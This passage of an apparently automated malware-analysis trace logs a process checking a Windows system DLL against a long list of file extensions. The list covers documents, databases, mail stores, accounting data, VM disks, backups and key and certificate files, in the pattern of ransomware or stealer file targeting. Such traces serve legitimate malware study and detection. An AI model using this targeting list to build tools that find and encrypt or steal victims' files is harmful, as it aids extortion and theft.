(hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0109.191] CloseHandle (hObject=0x90) returned 1 [0109.191] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\267f03b78a9514be8c1ebd278f03e3ff\\", lpString2="Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\267f03b78a9514be8c1ebd278f03e3ff\\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\267f03b78a9514be8c1ebd278f03e3ff\\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper.ni.dll" [0109.191] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\267f03b78a9514be8c1ebd278f03e3ff\\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper.ni.dll", pszSpec="*.ems") returned 0 [0109.191] lstrlenA (lpString="*.ems") returned 5 [0109.191] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\267f03b78a9514be8c1ebd278f03e3ff\\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper.ni.dll", pszSpec="*.db") returned 0 [0109.191] lstrlenA (lpString="*.db") returned 4 [0109.191] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\267f03b78a9514be8c1ebd278f03e3ff\\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper.ni.dll", pszSpec="*.dbf") returned 0 [0109.191] lstrlenA (lpString="*.dbf") returned 5 [0109.191] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\267f03b78a9514be8c1ebd278f03e3ff\\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper.ni.dll", pszSpec="*.myox") returned 0 [0109.191] lstrlenA (lpString="*.myox") returned 6 [0109.191] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\267f03b78a9514be8c1ebd278f03e3ff\\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper.ni.dll", pszSpec="*.myo") returned 0 [0109.191] lstrlenA (lpString="*.myo") returned 5 [0109.191] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\267f03b78a9514be8c1ebd278f03e3ff\\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper.ni.dll", pszSpec="*.qbw") returned 0 [0109.191] lstrlenA (lpString="*.qbw") returned 5 [0109.191] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\267f03b78a9514be8c1ebd278f03e3ff\\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper.ni.dll", pszSpec="*.qbb") returned 0 [0109.192] lstrlenA (lpString="*.qbb") returned 5 [0109.192] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\267f03b78a9514be8c1ebd278f03e3ff\\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper.ni.dll", pszSpec="*.qbm") returned 0 [0109.192] lstrlenA (lpString="*.qbm") returned 5 [0109.192] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\267f03b78a9514be8c1ebd278f03e3ff\\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper.ni.dll", pszSpec="*.qbo") returned 0 [0109.192] lstrlenA (lpString="*.qbo") returned 5 [0109.192] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\267f03b78a9514be8c1ebd278f03e3ff\\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper.ni.dll", pszSpec="*.qbx") returned 0 [0109.192] lstrlenA (lpString="*.qbx") returned 5 [0109.192] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\267f03b78a9514be8c1ebd278f03e3ff\\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper.ni.dll", pszSpec="*.qba") returned 0 [0109.192] lstrlenA (lpString="*.qba") returned 5 [0109.192] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\267f03b78a9514be8c1ebd278f03e3ff\\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper.ni.dll", pszSpec="*.qby") returned 0 [0109.192] lstrlenA (lpString="*.qby") returned 5 [0109.192] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\267f03b78a9514be8c1ebd278f03e3ff\\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper.ni.dll", pszSpec="*.qbj") returned 0 [0109.192] lstrlenA (lpString="*.qbj") returned 5 [0109.192] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\267f03b78a9514be8c1ebd278f03e3ff\\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper.ni.dll", pszSpec="*.ofx") returned 0 [0109.192] lstrlenA (lpString="*.ofx") returned 5 [0109.192] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\267f03b78a9514be8c1ebd278f03e3ff\\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper.ni.dll", pszSpec="*.qif") returned 0 [0109.192] lstrlenA (lpString="*.qif") returned 5 [0109.192] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\267f03b78a9514be8c1ebd278f03e3ff\\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper.ni.dll", pszSpec="*.mye") returned 0 [0109.192] lstrlenA (lpString="*.mye") returned 5 [0109.192] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\267f03b78a9514be8c1ebd278f03e3ff\\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper.ni.dll", pszSpec="*.mbox") returned 0 [0109.193] lstrlenA (lpString="*.mbox") returned 6 [0109.193] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\267f03b78a9514be8c1ebd278f03e3ff\\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper.ni.dll", pszSpec="*.eml") returned 0 [0109.193] lstrlenA (lpString="*.eml") returned 5 [0109.193] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\267f03b78a9514be8c1ebd278f03e3ff\\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper.ni.dll", pszSpec="*.pst") returned 0 [0109.193] lstrlenA (lpString="*.pst") returned 5 [0109.193] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\267f03b78a9514be8c1ebd278f03e3ff\\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper.ni.dll", pszSpec="*.ost") returned 0 [0109.193] lstrlenA (lpString="*.ost") returned 5 [0109.193] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\267f03b78a9514be8c1ebd278f03e3ff\\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper.ni.dll", pszSpec="*.idx") returned 0 [0109.193] lstrlenA (lpString="*.idx") returned 5 [0109.193] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\267f03b78a9514be8c1ebd278f03e3ff\\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper.ni.dll", pszSpec="*.dbx") returned 0 [0109.193] lstrlenA (lpString="*.dbx") returned 5 [0109.193] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\267f03b78a9514be8c1ebd278f03e3ff\\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper.ni.dll", pszSpec="*.sql") returned 0 [0109.193] lstrlenA (lpString="*.sql") returned 5 [0109.193] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\267f03b78a9514be8c1ebd278f03e3ff\\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper.ni.dll", pszSpec="*.mdb") returned 0 [0109.193] lstrlenA (lpString="*.mdb") returned 5 [0109.193] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\267f03b78a9514be8c1ebd278f03e3ff\\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper.ni.dll", pszSpec="*.fdb") returned 0 [0109.193] lstrlenA (lpString="*.fdb") returned 5 [0109.193] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\267f03b78a9514be8c1ebd278f03e3ff\\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper.ni.dll", pszSpec="*.wab") returned 0 [0109.193] lstrlenA (lpString="*.wab") returned 5 [0109.193] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\267f03b78a9514be8c1ebd278f03e3ff\\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper.ni.dll", pszSpec="*.dat") returned 0 [0109.194] lstrlenA (lpString="*.dat") returned 5 [0109.194] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\267f03b78a9514be8c1ebd278f03e3ff\\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper.ni.dll", pszSpec="*.txt") returned 0 [0109.194] lstrlenA (lpString="*.txt") returned 5 [0109.194] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\267f03b78a9514be8c1ebd278f03e3ff\\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper.ni.dll", pszSpec="*.jpeg") returned 0 [0109.194] lstrlenA (lpString="*.jpeg") returned 6 [0109.194] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\267f03b78a9514be8c1ebd278f03e3ff\\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper.ni.dll", pszSpec="*.jpg") returned 0 [0109.194] lstrlenA (lpString="*.jpg") returned 5 [0109.194] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\267f03b78a9514be8c1ebd278f03e3ff\\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper.ni.dll", pszSpec="*.png") returned 0 [0109.194] lstrlenA (lpString="*.png") returned 5 [0109.194] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\267f03b78a9514be8c1ebd278f03e3ff\\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper.ni.dll", pszSpec="*.php") returned 0 [0109.194] lstrlenA (lpString="*.php") returned 5 [0109.194] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\267f03b78a9514be8c1ebd278f03e3ff\\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper.ni.dll", pszSpec="*.cs") returned 0 [0109.194] lstrlenA (lpString="*.cs") returned 4 [0109.194] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\267f03b78a9514be8c1ebd278f03e3ff\\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper.ni.dll", pszSpec="*.cpp") returned 0 [0109.194] lstrlenA (lpString="*.cpp") returned 5 [0109.194] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\267f03b78a9514be8c1ebd278f03e3ff\\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper.ni.dll", pszSpec="*.rar") returned 0 [0109.194] lstrlenA (lpString="*.rar") returned 5 [0109.194] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\267f03b78a9514be8c1ebd278f03e3ff\\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper.ni.dll", pszSpec="*.zip") returned 0 [0109.194] lstrlenA (lpString="*.zip") returned 5 [0109.194] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\267f03b78a9514be8c1ebd278f03e3ff\\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper.ni.dll", pszSpec="*.html") returned 0 [0109.195] lstrlenA (lpString="*.html") returned 6 [0109.195] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\267f03b78a9514be8c1ebd278f03e3ff\\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper.ni.dll", pszSpec="*.htm") returned 0 [0109.195] lstrlenA (lpString="*.htm") returned 5 [0109.195] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\267f03b78a9514be8c1ebd278f03e3ff\\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper.ni.dll", pszSpec="*.xlsx") returned 0 [0109.195] lstrlenA (lpString="*.xlsx") returned 6 [0109.195] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\267f03b78a9514be8c1ebd278f03e3ff\\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper.ni.dll", pszSpec="*.xls") returned 0 [0109.195] lstrlenA (lpString="*.xls") returned 5 [0109.195] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\267f03b78a9514be8c1ebd278f03e3ff\\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper.ni.dll", pszSpec="*.mp4") returned 0 [0109.195] lstrlenA (lpString="*.mp4") returned 5 [0109.195] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\267f03b78a9514be8c1ebd278f03e3ff\\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper.ni.dll", pszSpec="*.ppt") returned 0 [0109.195] lstrlenA (lpString="*.ppt") returned 5 [0109.195] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\267f03b78a9514be8c1ebd278f03e3ff\\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper.ni.dll", pszSpec="*.pptx") returned 0 [0109.195] lstrlenA (lpString="*.pptx") returned 6 [0109.195] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\267f03b78a9514be8c1ebd278f03e3ff\\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper.ni.dll", pszSpec="*.doc") returned 0 [0109.195] lstrlenA (lpString="*.doc") returned 5 [0109.195] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\267f03b78a9514be8c1ebd278f03e3ff\\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper.ni.dll", pszSpec="*.dot") returned 0 [0109.195] lstrlenA (lpString="*.dot") returned 5 [0109.195] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\267f03b78a9514be8c1ebd278f03e3ff\\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper.ni.dll", pszSpec="*.docx") returned 0 [0109.195] lstrlenA (lpString="*.docx") returned 6 [0109.196] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\267f03b78a9514be8c1ebd278f03e3ff\\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper.ni.dll", pszSpec="*.7z") returned 0 [0109.196] lstrlenA (lpString="*.7z") returned 4 [0109.196] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\267f03b78a9514be8c1ebd278f03e3ff\\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper.ni.dll", pszSpec="*.tar") returned 0 [0109.196] lstrlenA (lpString="*.tar") returned 5 [0109.196] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\267f03b78a9514be8c1ebd278f03e3ff\\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper.ni.dll", pszSpec="*.bz2") returned 0 [0109.196] lstrlenA (lpString="*.bz2") returned 5 [0109.196] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\267f03b78a9514be8c1ebd278f03e3ff\\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper.ni.dll", pszSpec="*.gz") returned 0 [0109.196] lstrlenA (lpString="*.gz") returned 4 [0109.196] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\267f03b78a9514be8c1ebd278f03e3ff\\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper.ni.dll", pszSpec="*.mkv") returned 0 [0109.196] lstrlenA (lpString="*.mkv") returned 5 [0109.196] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\267f03b78a9514be8c1ebd278f03e3ff\\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper.ni.dll", pszSpec="*.eml") returned 0 [0109.196] lstrlenA (lpString="*.eml") returned 5 [0109.196] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\267f03b78a9514be8c1ebd278f03e3ff\\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper.ni.dll", pszSpec="*.msg") returned 0 [0109.196] lstrlenA (lpString="*.msg") returned 5 [0109.196] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\267f03b78a9514be8c1ebd278f03e3ff\\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper.ni.dll", pszSpec="*.edb") returned 0 [0109.196] lstrlenA (lpString="*.edb") returned 5 [0109.196] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\267f03b78a9514be8c1ebd278f03e3ff\\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper.ni.dll", pszSpec="*.accdb") returned 0 [0109.196] lstrlenA (lpString="*.accdb") returned 7 [0109.196] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\267f03b78a9514be8c1ebd278f03e3ff\\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper.ni.dll", pszSpec="*.odb") returned 0 [0109.197] lstrlenA (lpString="*.odb") returned 5 [0109.197] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\267f03b78a9514be8c1ebd278f03e3ff\\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper.ni.dll", pszSpec="*.java") returned 0 [0109.197] lstrlenA (lpString="*.java") returned 6 [0109.197] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\267f03b78a9514be8c1ebd278f03e3ff\\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper.ni.dll", pszSpec="*.asm") returned 0 [0109.197] lstrlenA (lpString="*.asm") returned 5 [0109.197] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\267f03b78a9514be8c1ebd278f03e3ff\\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper.ni.dll", pszSpec="*.pfx") returned 0 [0109.198] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\267f03b78a9514be8c1ebd278f03e3ff\\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper.ni.dll", pszSpec="*.pem") returned 0 [0109.198] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\267f03b78a9514be8c1ebd278f03e3ff\\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper.ni.dll", pszSpec="*.p12") returned 0 [0109.198] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\267f03b78a9514be8c1ebd278f03e3ff\\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper.ni.dll", pszSpec="*.gpg") returned 0 [0109.198] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\267f03b78a9514be8c1ebd278f03e3ff\\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper.ni.dll", pszSpec="*.vsd") returned 0 [0109.198] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\267f03b78a9514be8c1ebd278f03e3ff\\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper.ni.dll", pszSpec="*.odg") returned 0 [0109.198] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\267f03b78a9514be8c1ebd278f03e3ff\\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper.ni.dll", pszSpec="*.raw") returned 0 [0109.198] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\267f03b78a9514be8c1ebd278f03e3ff\\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper.ni.dll", pszSpec="*.nef") returned 0 [0109.198] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\267f03b78a9514be8c1ebd278f03e3ff\\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper.ni.dll", pszSpec="*.svg") returned 0 [0109.199] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\267f03b78a9514be8c1ebd278f03e3ff\\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper.ni.dll", pszSpec="*.psd") returned 0 [0109.199] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\267f03b78a9514be8c1ebd278f03e3ff\\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper.ni.dll", pszSpec="*.vmx") returned 0 [0109.199] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\267f03b78a9514be8c1ebd278f03e3ff\\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper.ni.dll", pszSpec="*.vmdk") returned 0 [0109.199] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\267f03b78a9514be8c1ebd278f03e3ff\\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper.ni.dll", pszSpec="*.vdi") returned 0 [0109.199] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\267f03b78a9514be8c1ebd278f03e3ff\\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper.ni.dll", pszSpec="*.lay6") returned 0 [0109.199] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\267f03b78a9514be8c1ebd278f03e3ff\\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper.ni.dll", pszSpec="*.mpeg") returned 0 [0109.199] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\267f03b78a9514be8c1ebd278f03e3ff\\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper.ni.dll", pszSpec="*.djvu") returned 0 [0109.199] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\267f03b78a9514be8c1ebd278f03e3ff\\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper.ni.dll", pszSpec="*.tiff") returned 0 [0109.199] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\267f03b78a9514be8c1ebd278f03e3ff\\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper.ni.dll", pszSpec="*.backup") returned 0 [0109.199] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\267f03b78a9514be8c1ebd278f03e3ff\\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper.ni.dll", pszSpec="*.pdf") returned 0 [0109.199] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\267f03b78a9514be8c1ebd278f03e3ff\\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper.ni.dll", pszSpec="*.cert") returned 0 [0109.200] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\267f03b78a9514be8c1ebd278f03e3ff\\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper.ni.dll", pszSpec="*.docm") returned 0 [0109.200] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\267f03b78a9514be8c1ebd278f03e3ff\\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper.ni.dll", pszSpec="*.xlsm") returned 0 [0109.200] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\267f03b78a9514be8c1ebd278f03e3ff\\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper.ni.dll", pszSpec="*.dwg") returned 0 [0109.200] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\267f03b78a9514be8c1ebd278f03e3ff\\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper.ni.dll", pszSpec="*.nd") returned 0 [0109.200] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\267f03b78a9514be8c1ebd278f03e3ff\\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper.ni.dll", pszSpec="*.tlg") returned 0 [0109.200] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\267f03b78a9514be8c1ebd278f03e3ff\\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper.ni.dll", pszSpec="*.lgb") returned 0 [0109.200] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\267f03b78a9514be8c1ebd278f03e3ff\\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper.ni.dll", pszSpec="*.mov") returned 0 [0109.200] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\267f03b78a9514be8c1ebd278f03e3ff\\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper.ni.dll", pszSpec="*.xdw") returned 0 [0109.200] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\267f03b78a9514be8c1ebd278f03e3ff\\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper.ni.dll", pszSpec="*.ods") returned 0 [0109.201] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\267f03b78a9514be8c1ebd278f03e3ff\\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper.ni.dll", pszSpec="*.wav") returned 0 [0109.201] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\267f03b78a9514be8c1ebd278f03e3ff\\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper.ni.dll", pszSpec="*.mp3") returned 0 [0109.201] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\267f03b78a9514be8c1ebd278f03e3ff\\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper.ni.dll", pszSpec="*.aiff") returned 0 [0109.201] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Security.#\\267f03b78a9514be8c1ebd278f03e3ff\\Microsoft.Security.ApplicationId.PolicyManagement.XmlHelper.ni.dll", pszSpec="*.flac") returned 0 [0109.201] PathMatchSpecA 